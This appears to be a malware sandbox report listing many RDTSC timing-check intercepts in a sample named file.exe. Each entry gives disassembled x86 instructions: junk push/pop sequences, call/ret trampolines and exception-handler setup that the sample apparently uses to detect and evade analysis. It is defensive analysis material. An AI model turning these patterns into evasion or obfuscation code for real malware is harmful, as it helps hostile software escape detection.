Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AEFC second address: 92AF03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92C1F1 second address: 92C1F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92C1F7 second address: 92C1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92EDC8 second address: 92EDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934AC4 second address: 934ACA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934ACA second address: 934AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB154CDAD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934AD4 second address: 934AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB1550A1F1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934AEE second address: 934AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934AF2 second address: 934AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C90 second address: 935CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, 77BA67E9h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FB154CDAD68h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub dword ptr [ebp+124590BEh], eax 0x0000002e push 00000000h 0x00000030 sub di, A5FEh 0x00000035 mov dword ptr [ebp+12458FD0h], edx 0x0000003b push eax 0x0000003c push ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392D8 second address: 9392DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392DC second address: 9392E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933BF3 second address: 933BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392E2 second address: 939301 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB154CDAD6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FB154CDAD6Ch 0x00000013 jno 00007FB154CDAD66h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939301 second address: 939398 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB1550A1F21h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FB1550A1F21h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FB1550A1F18h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c add bh, FFFFFFEFh 0x0000002f call 00007FB1550A1F29h 0x00000034 jmp 00007FB1550A1F27h 0x00000039 pop edi 0x0000003a push 00000000h 0x0000003c add ebx, 0AA62823h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FB1550A1F20h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935E4A second address: 935E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939398 second address: 9393A2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB1550A1F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935E4F second address: 935EC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB154CDAD79h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx ebx, si 0x00000011 movsx ebx, bx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b movsx edi, ax 0x0000001e mov dword ptr [ebp+122D2BFDh], eax 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b sub dword ptr [ebp+1246BC6Dh], eax 0x00000031 mov eax, dword ptr [ebp+122D0809h] 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FB154CDAD68h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 push FFFFFFFFh 0x00000053 mov ebx, 4582BA50h 0x00000058 mov bl, dh 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A3F3 second address: 93A3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93950A second address: 939513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A3FD second address: 93A40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnp 00007FB1550A1F16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A40F second address: 93A414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A414 second address: 93A41B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395AE second address: 9395B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395B2 second address: 9395B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395B8 second address: 9395BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B4DA second address: 93B4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B4E6 second address: 93B4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D490 second address: 93D49A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB1550A1F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F571 second address: 93F575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9406B4 second address: 9406B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E759 second address: 93E777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB154CDAD77h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E777 second address: 93E77B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C55E second address: 93C5EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122DB62Eh], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FB154CDAD68h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a pushad 0x0000003b mov edx, ebx 0x0000003d jp 00007FB154CDAD68h 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 mov bx, 406Dh 0x0000004a mov eax, dword ptr [ebp+122D076Dh] 0x00000050 mov bx, dx 0x00000053 jl 00007FB154CDAD77h 0x00000059 call 00007FB154CDAD6Fh 0x0000005e cmc 0x0000005f pop edi 0x00000060 push FFFFFFFFh 0x00000062 push edi 0x00000063 add bl, FFFFFFB0h 0x00000066 pop edi 0x00000067 push eax 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b push edx 0x0000006c pop edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B5FC second address: 93B602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B602 second address: 93B607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B607 second address: 93B664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, 239DED72h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FB1550A1F18h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a sub dword ptr [ebp+122D2534h], ecx 0x00000040 mov eax, dword ptr [ebp+122D0559h] 0x00000046 mov bl, ah 0x00000048 push FFFFFFFFh 0x0000004a add dword ptr [ebp+1244E1E3h], ecx 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B664 second address: 93B66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB154CDAD66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B66F second address: 93B685 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB1550A1F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940898 second address: 94089C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94089C second address: 9408A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9408A2 second address: 9408A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94283C second address: 942876 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB1550A1F24h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FB1550A1F2Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945650 second address: 94565A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB154CDAD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95460E second address: 954614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954614 second address: 95461C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95461C second address: 954621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954621 second address: 95463C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FB154CDAD66h 0x0000000a jmp 00007FB154CDAD71h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7F17 second address: 8E7F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7F1C second address: 8E7F40 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FB154CDAD7Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9532E4 second address: 9532E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9532E8 second address: 9532EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9532EE second address: 953309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB1550A1F1Dh 0x0000000d jng 00007FB1550A1F16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953309 second address: 95332F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FB154CDAD84h 0x0000000c jmp 00007FB154CDAD78h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9538B3 second address: 9538C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB1550A1F1Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007FB1550A1F16h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9538C7 second address: 9538CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953EB5 second address: 953EC3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FB1550A1F16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959E99 second address: 959E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959E9D second address: 959EC2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB1550A1F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FB1550A1F25h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959EC2 second address: 959EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959EC6 second address: 959EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FB1550A1F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB1550A1F27h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95890A second address: 958943 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB154CDAD79h 0x00000008 jmp 00007FB154CDAD71h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FB154CDAD66h 0x00000017 jmp 00007FB154CDAD76h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958D72 second address: 958D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959031 second address: 959035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959035 second address: 959053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB1550A1F25h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95923F second address: 959254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB154CDAD71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959D16 second address: 959D21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FB1550A1F16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E8F5 second address: 95E90D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB154CDAD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB154CDAD6Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E90D second address: 95E929 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007FB1550A1F16h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FB1550A1F24h 0x00000012 jg 00007FB1550A1F1Eh 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EA93 second address: 95EA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EA98 second address: 95EAA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FB1550A1F16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95ED32 second address: 95ED3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB154CDAD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F420 second address: 95F43E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FB1550A1F16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F43E second address: 95F44E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB154CDAD6Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A93E second address: 96A943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92722D second address: 90FC29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007FB154CDAD70h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FB154CDAD68h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 sub dx, 2A68h 0x0000002e call dword ptr [ebp+122D1DF8h] 0x00000034 pushad 0x00000035 jmp 00007FB154CDAD6Ch 0x0000003a jmp 00007FB154CDAD6Bh 0x0000003f pushad 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927654 second address: 92765A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9277F8 second address: 92781D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB154CDAD66h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d jmp 00007FB154CDAD6Fh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92781D second address: 92785F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007FB1550A1F1Eh 0x00000012 push edx 0x00000013 jnp 00007FB1550A1F16h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jmp 00007FB1550A1F22h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92785F second address: 927863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927863 second address: 92787F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push D05EF7F8h 0x0000000d jl 00007FB1550A1F24h 0x00000013 pushad 0x00000014 jno 00007FB1550A1F16h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928146 second address: 92814A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92814A second address: 92814E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92832D second address: 928332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928332 second address: 928365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FB1550A1F1Ah 0x00000019 mov eax, dword ptr [eax] 0x0000001b push ecx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928365 second address: 92837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB154CDAD66h 0x0000000a popad 0x0000000b pop ecx 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edi 0x00000011 jnp 00007FB154CDAD6Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
